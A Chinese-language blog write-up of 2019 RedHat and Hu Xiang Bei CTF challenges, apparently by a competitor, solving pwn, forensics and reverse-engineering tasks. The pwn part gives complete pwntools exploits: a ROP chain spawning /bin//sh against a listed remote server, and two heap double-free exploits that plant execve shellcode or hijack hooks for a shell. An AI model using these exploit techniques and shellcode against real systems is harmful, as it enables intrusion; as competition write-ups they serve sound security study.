2019redhat

Author Avatar
Xzhah 11月 10, 2019
  • 在其它设备中阅读本文章

[TOC]

PWN

three

可以向一个RWX的内存区域写3个字节,之后会将该地址作为函数调用

同时我们还能够控制位于bss段的0x200个字节,首先想到的就是通过3字节将栈迁移到bss中,执行实现在bss中布置好的ROP链。

通过调试发现,在进入rwx()函数后,ecx中的值恰好为name变量的地址,这就可以很容易的构造栈迁移了

1
2
0x89 0xcc  :mov esp, ecx
0xc3 :ret

所以用ROPgadget生成rop链,写到name处即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from struct import pack

p = ''
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5000) # @ .data
p += pack('<I', 0x080c11e6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5004) # @ .data + 4
p += pack('<I', 0x080c11e6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080569a0) # xor eax, eax ; ret
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d9) # pop ebx ; ret
p += pack('<I', 0x080f5000) # @ .data
p += pack('<I', 0x08072fb2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080f5000) # padding without overwrite ebx
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080569a0) # xor eax, eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x08049903) # int 0x80


io = remote("47.104.190.38 ", 12001)
io.recvuntil('index:')
io.sendline('1')
io.recvuntil('much!\n')
io.sendline('\x89\xcc\xc3')
io.recvuntil('size:\n')
io.sendline('500')
io.recvuntil('Tell me:\n')
io.sendline(p)
io.interactive()

湖湘杯_hackNote

这道题漏洞在于edit函数中,因为字符串末尾没有\x00截断,导致在使用strlen重新计算长度时将下一chunk的size位一同计算进去,从而使新长度大于真实长度

以此就可以通过下一次edit覆盖溢出到下一chunk的size部分,从而构造出overlap。

因为是静态编译而且还有rwx权限,所以可以最后通过double free将chunk分配到_fini_array处,在附近写上shellcode,并在_fini_array填入shellcode的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

p = process('./HackNote')

def add(size, content):
p.recvuntil('Exit\n')
p.recvline()
p.sendline('1')
p.recvline('Size:\n')
p.sendline(str(size))
p.recvuntil('Note:\n')
p.sendline(content)

def remove(idx):
p.recvuntil('Exit\n')
p.recvline()
p.sendline('2')
p.recvuntil('Note:\n')
p.sendline(str(idx))

def edit(idx, data):
p.recvuntil('Exit\n')
p.recvline()
p.sendline('3')
p.recvuntil('Note:\n')
p.sendline(str(idx))
p.recvuntil('Note:\n')
p.sendline(data)

def main():
add(0x108, '0')
edit(0, '0'*0x108)
add(0x208, '1')
add(0x100, '2')

edit(1, '0'*0x1f0 + p64(0x200))
remove(1)

edit(0, '0'*0x108 + '\x00\x02')

add(0x80, '1')
add(0x60, '3')
add(0x70, '4')
add(0x70, '5')

remove(1)
remove(2)

add(0x80, '1')
add(0x60, '2'*0x60)
add(0x70, '6'*0x70)
add(0x70, '7'*0x70)
add(0x100, '4'*0x100)

remove(2)
edit(3, p64(0x80)*2)
add(0x60, '2')

remove(6)
edit(4, p64(0x6cb828))
add(0x70, '6')
add(0x70, '\x00'*0x20 + p64(0x6caed8))
payload = p64(0x6caef8)*2 + "\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
add(0x150, payload)

if __name__ == '__main__':
main()
p.interactive()

湖湘杯_NameSystem

在remove函数中,每当删掉一个对象,会将指针数组中后面的元素依次向前复制一位。

但是当数组已经存满元素,再删除 除了第19号 的其他元素,因为并不存在v[19] = v[20],就会导致v[19]没有清空,从而获得两个指向同一对象的指针,然后就可以任意构造double free了。

我的exp写的比较繁琐,构造了很多组double free,通过overlap修改chunksize并free来获得libc指针,通过改free_got为puts来泄露libc,然后one_gadgets写malloc_hook。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
# encoding: utf-8
from pwn import *

#context.log_level = 'debug'

p = process('./NameSystem')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size, data):
p.recvuntil('choice :')
p.sendline('1')
p.recvuntil('Name Size:')
p.sendline(str(size))
p.recvuntil('Name:')
p.sendline(data)

def remove(idx):
p.recvuntil('choice :')
p.sendline('3')
p.recvuntil('delete:')
p.sendline(str(idx))

def main():
'''
构造第一个double free,chunk大小为0x60
'''
add(0x10, p64(0) + p64(0x40)) # 伪造一个chunk头在这
add(0x30, 'xx') # chunkA 之后将分配一个chunk与它重合,用于泄露libc
for i in range(14):
add(0x10, 'a')
for i in range(4):
add(0x50, 'a')

remove(2)
remove(2)
remove(19)
remove(16)
for i in range(12):
remove(2)
remove(5) # 0-4

'''
构造第二个double free,chunk大小为0x40
'''
for i in range(11):
add(0x20, 'a')
for i in range(4):
add(0x30, 'a')

remove(5)
remove(5)
remove(19)
remove(16)
for i in range(9):
remove(5)
remove(7)

'''
使用第二个构造的double free,用于将chunk分配到chunkA的地方
这样就获得了两个指向同一chunk的指针,但是需要爆破,因为写\x20时实际写的是\x20\x00
'''
add(0x30, '\x20')
add(0x30, 'xxx')
add(0x30, 'xxx')
add(0x30, 'xxx')

'''
在使用再使用第二个构造的double free,将chunk分配到chunkA前面伪造好的chunk头处
然后修改chunkA的size为0xa1
'''
remove(7)
remove(8)
remove(7)
add(0x30, '\x10')
add(0x30, 'xxx')
add(0x30, 'xxx')
add(0x30, '\x00'*8 + '\xa1')

'''
构造第三个double free,chunk大小为0x70
'''
for i in range(5):
add(0x40, 'xxx')
for i in range(2):
add(0x60, 'xxx')

remove(13)
remove(13)
remove(19)
remove(16)
for i in range(3):
remove(13)
remove(13)

'''
释放chunkA,获得libc指针
'''
remove(1)
remove(0) # 这个只是为了腾空间

'''
使用第一个double free,用于在got表处分配一个chunk,将free_got修改为puts_plt
'''
puts_plt = 0x4006a0

add(0x50, p64(0x601ffa))
add(0x50, 'xxx')
add(0x50, 'xxx')
add(0x50, '\x00'*0xe + p64(puts_plt)[:6])

'''
输出chunkA处的libc指针
'''
remove(6) # free已经被替换为了puts
libc_base = u64(p.recvline()[:-1].ljust(8, '\x00')) - 0x3c4b78
realloc_hook = libc_base + 0x3c4aed
one_gadget = libc_base + 0x4526a
realloc = libc_base + libc.symbols['__libc_realloc']
success('libc_base: %#x' % libc_base)

add(0x60, p64(realloc_hook))
add(0x60, 'xxxx')
add(0x60, 'xxxx')
add(0x60, '\x00'*0xb + p64(one_gadget) + p64(realloc+12)) #使用realloc调整栈空间

# 最后手工再调用一下add()就能getshell了

if __name__ == '__main__':
while(True):
try:
main()
# gdb.attach(p)
p.interactive()
p.close()
break
except:
p.close()
p = process('./NameSystem')

Misc

签到

回答问卷

恶臭的数据包

Wireshark打开数据包,全是802.11协议,需要解密,用aircrack-ng进行爆破,密码为12345678

2.png

对数据包解密

3.png

重新wireshark打开,发现可导出一张图片

_M_L_8_V4_@U_UX_QJ6L8O6.png

Binwalk检查图片发现藏有压缩包,压缩包内为flag,但是没有密码,又回到数据包上,查看http流,在携带该图片的数据包里用base64解密session值可以看到hint,这里需要将session以句点分段解密,还要补全末尾的==。

4.png

_8XW3_AKYB_CHP@MID__@WQ.png

Hint说密码为ping过的网址,在数据包中没有找到icmp包,但是有dns解析网址的包,逐个尝试网址成功解密压缩包。

Advertising for Marriage

首先用volatility查看进程,发现notepad.exe:

5.png

使用notepad插件提取出hint:

6.png

hint:????needmoneyandgirlfirend

同时,进程中存在mspaint.exe:

5.png

提取出来,修改后缀为data,使用gimp读取。调整宽度可以发现四个字符,此时对应前面的hint的四个问号,正好组成一个完整的字符串:

8.png

组成完整的字符串:b1cxneedmoneyandgirlfirend(原图有些看不清,本来以为是PJCX,经过后面猜测发现是b1cx)

这时,再查找映像中的文件,发现存在png文件:

9.png

提取出来:

10.png

尝试打开,发现CRC不对:

11.png

Winhex打开图片:

12.png

使用脚本爆破CRC对应的高度:

13.png

高度:

14.png

修改:

15.png

发现模糊的flag:

1573433598290.png

由于前面有字符串,又不是flag,猜测使用该字符串作为密码进行lsb提取:

1573433658859.png

提取出一个base64码:

1573433713373.png

维吉尼亚:

1573433782805.png

对比发现,前面的密码和此处的密文长度一致,猜测维吉尼亚的密钥也为第一个密码:

b1cxneedmoneyandgirlfirend

gnxtmwg7r1417psedbs62587h0

解密,得到flag:

1573434014916.png

对比之前的图片,可以确定flag是正确的:

1573433598290.png

Reverse

xx

输入限制:输入长度为19,且输入只能为以下字符串范围内的字符

qwertyuiopasdfghjklzxcvbnm1234567890

会将输入的前四个字节取出作为key,进行xxtea加密。

根据算法里移位和0x61C88647,可以判断出该算法为xxtea算法。

xxtea密文经过下列简单的置换

再进行简单的异或处理,生成最终密文

最终密文应该为

0xce,0xBC,0x40,0x6b,0x7c,0x3a,0x95,0xc0,0xef,0x9b,0x20,0x20,0x91,0xf7,0x2,0x35,0x23,0x18,0x2,0xc8,0xe7,0x56,0x56,0xfa

使用异或处理脚本得到异或前的密文

1
2
3
4
5
6
7
8
9
10
for i in range(0x17,1,-1):
cur=0x17-i
v22=i/3-1
if i>=3:
while(v22!=-1):
tmp=v21[i]
v21[i]=tmp^v21[v22]
v22=v22-1
for i in v21:
print hex(i)

异或前的密文为

0xce,0xbc,0x40,0xa5,0xb2,0xf4,0xe7,0xb2,0x9d,0xa9,0x12,0x12,0xc8,0xae,0x5b,0x10,0x6,0x3d,0x1d,d7,0xf8,0xdc,0xdc,0x70

推出置换前的密文为

bc a5 ce 40 f4 b2 b2 e7 a9 12 9d 12 ae 10 c8 5b 3d d7 6 1d dc 70 f8 dc

使用xxtea解密函数,因为已知输入前四字节为flag,所以密钥为flag。

解密出flag为flag{CXX_and_++tea}

easyRE

第一个输入对相应密文做简单的异或处理便可得到。

1
2
3
4
5
a=[0x49,0x6F,0x64,0x6C,0x3E,0x51,0x6E,0x62,0x28,0x6F,0x63,0x79,0x7F,0x79,0x2E,0x69,0x7F,0x64,0x60,0x33,0x77,0x7D,0x77,0x65,0x6B,0x39,0x7B,0x69,0x79,0x3D,0x7E,0x79,0x4C,0x40,0x45,0x43]
input1=''
for i in range(36):
input1+=chr(a[i]^i)
print input1

得到第一个输入为Info:The first four chars are flag

第二个输入会经过N层base64编码,最终和密文进行比较,所以只需要把密文base64不断解码即可得到第二个输入为

https://bbs.pediy.com/thread-254172.htm

点击进入该网页是关于主动防御的内容,经过仔细查看网页里并没有flag。

第二个输入检查完毕后程序就退出了,我用strace跟过也没发现其他的系统调用。

这时想起今年国赛的一个Pwn,用到了析构函数,所去查看析构函数,果然有发现。

进入400D35函数,可以看到v2为时间差的计算后进行一系列操作,最后字符有和’f’,’g’字符的比较,由于循环中的处理是对4取余,所以我们只用使 前v2前四个字节和6CC0A0进行异或后为flag即可。最后程序会输出flag。

childRE

首先要求输入长度为31.

我们的输入会生成二叉树,并且后序遍历会写入name数组

接下来对name数组进行反修饰,要求反修饰得到62字节outputString后开始校验

该校验其实就是个表的行列对比,求outputString的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
table11='(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&'
table12='55565653255552225565565555243466334653663544426565555525555222'
table2='1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;'+chr(0x27)+'ASDFGHJKL:"ZXCVBNM<>?zxcvbnm,./'
flag=''

for i in range(0x3e):
tmp1=table11[i]
tmp2=table12[i]
for k in range(20,128):
if(table2[(k%23)] == tmp1 and table2[(k/23)] == tmp2):
flag+=chr(k)
break
print flag

得到outputStirng应该为:

private: char __thiscall R0Pxx::My_Aut0_PWN(unsigned char )

那么我们现在需要对该函数进行修饰,可以参考c++类成员函数的修饰规则

https://blog.csdn.net/wenqiang1208/article/details/53163788

我们选择直接用VS提供的宏,得到修饰后的函数名如下:

修饰后的函数名为?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z

然后排一下二叉树即可得到我们的输入为

Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP

其MD5值为63b148e750fed3a33419168ac58083f5,所以flag为

flag{ 63b148e750fed3a33419168ac58083f5}

hxb_re1

加了壳,懒得脱壳直接调试跟进去看。。。

首先需要输入长度19的字符串和一个命令函参数

然后命令行参数会做简单的变换最后和fmcj2y~{字符串进行对比,不用管对比,直接在内存里修改为fmcj2y~{就可以了。

接下来程序会使用fopen和fread读取名为fmcj2y~{文件里的32个字符

32个字符转换为16进制(比如输入4f,在内存中16进制便是4f)后最后输入进入4013B6进行验证,要求字符转的16进制+1后与下列数据相等。所以将红框里的数据逐个减一便是我们的flag

也就是说fmcj2y~{文件里的内容应该是4fc5f0e3e2e199a0a6ddd945aa2dfeda

得到flag如下

hxb_re2

我们的输入应该是26个整数,且只能为1,2,3,4。1,2,3,4分别是不同的变量进行运算。

通过的条件如下。

我们看到asc_140003350数组如下:(因为变量会涉及到*7,所以按7个一行排列)

0x00000008, 0x00000001, 0x0000000E, 0x0000000B, 0x00000007, 0x00000010, 0x00000001

0x0000000B, 0x0000000F, 0x0000000F, 0x00000001, 0x00000001, 0x00000009, 0x00000001

0x00000001, 0x00000001, 0x00000001, 0x00000001, 0x00000001, 0x0000000B, 0x00000001

0x0000000C, 0x0000000C, 0x00000008, 0x0000000E, 0x00000001, 0x00000008, 0x00000001

0x00000008, 0x00000001, 0x00000001, 0x0000000C, 0x00000009, 0x0000000E, 0x00000001

0x0000000D, 0x00000008, 0x0000000B, 0x00000001, 0x00000001,0x00000001, 0x00000001

0x00000001, 0x00000001, 0x00000009, 0x0000000A, 0x00000009, 0x00000009, 0x00000063,

发现是个迷宫,所以输入1代表上,2代表下,3代表左,4代表右。只要从左上角走到右下角便能拿到flag了

所以输入相应的上下左右便能走出迷宫